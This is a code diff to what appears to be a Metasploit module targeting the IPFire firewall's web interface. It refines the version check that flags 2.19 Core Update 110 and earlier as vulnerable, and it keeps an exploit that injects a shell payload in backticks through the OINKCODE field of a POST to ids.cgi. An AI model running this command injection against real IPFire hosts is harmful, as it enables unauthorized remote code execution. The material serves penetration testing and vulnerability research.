@@ -67,18 +67,20 @@ def check
67
67
'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
68
68
)
69
69
70
- if res and res . code == 200
70
+ if res && res . code == 200
71
71
/\< strong\> IPFire (?<version>[\d .]{4}) \( [\w ]+\) - Core Update (?<update>[\d ]+)/ =~ res . body
72
72
end
73
-
74
- # now that we've pulled the info we need, check version.
75
- if version && update && version == '2.19' && update . to_i <= 110
73
+ if version . nil? || update . nil? || !Gem ::Version . correct? ( version )
74
+ vprint_error ( 'No Recognizable Version Found' )
75
+ CheckCode ::Safe
76
+ elsif Gem ::Version . new ( version ) <= Gem ::Version . new ( '2.19' ) && update . to_i <= 110
76
77
CheckCode ::Appears
77
78
else
79
+ vprint_error ( 'Version and/or Update Not Supported' )
78
80
CheckCode ::Safe
79
81
end
80
-
81
82
rescue ::Rex ::ConnectionError
83
+ print_error ( "Connection Failed" )
82
84
CheckCode ::Safe
83
85
end
84
86
end
@@ -97,20 +99,19 @@ def exploit
97
99
'Referer' => "#{ datastore [ 'SSL' ] ? 'https' : 'http' } ://#{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } /cgi-bin/ids.cgi"
98
100
} ,
99
101
'vars_post' => {
100
- 'ENABLE_SNORT_GREEN' => 'on' ,
101
- 'ENABLE_SNORT' => 'on' ,
102
- 'RULES' => 'registered' ,
103
- 'OINKCODE' => "`#{ payload . encoded } `" ,
104
- 'ACTION' => 'Download new ruleset' ,
105
- 'ACTION2' => 'snort'
102
+ 'ENABLE_SNORT_GREEN' => 'on' ,
103
+ 'ENABLE_SNORT' => 'on' ,
104
+ 'RULES' => 'registered' ,
105
+ 'OINKCODE' => "`#{ payload . encoded } `" ,
106
+ 'ACTION' => 'Download new ruleset' ,
107
+ 'ACTION2' => 'snort'
106
108
}
107
109
)
108
110
109
111
# success means we hang our session, and wont get back a response, so just check we get a response back
110
- if res && res . code != 200
112
+ if res && res . code != 200
111
113
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid credentials (response code: #{ res . code } )" )
112
114
end
113
-
114
115
rescue ::Rex ::ConnectionError
115
116
fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to the web service" )
116
117
end
0 commit comments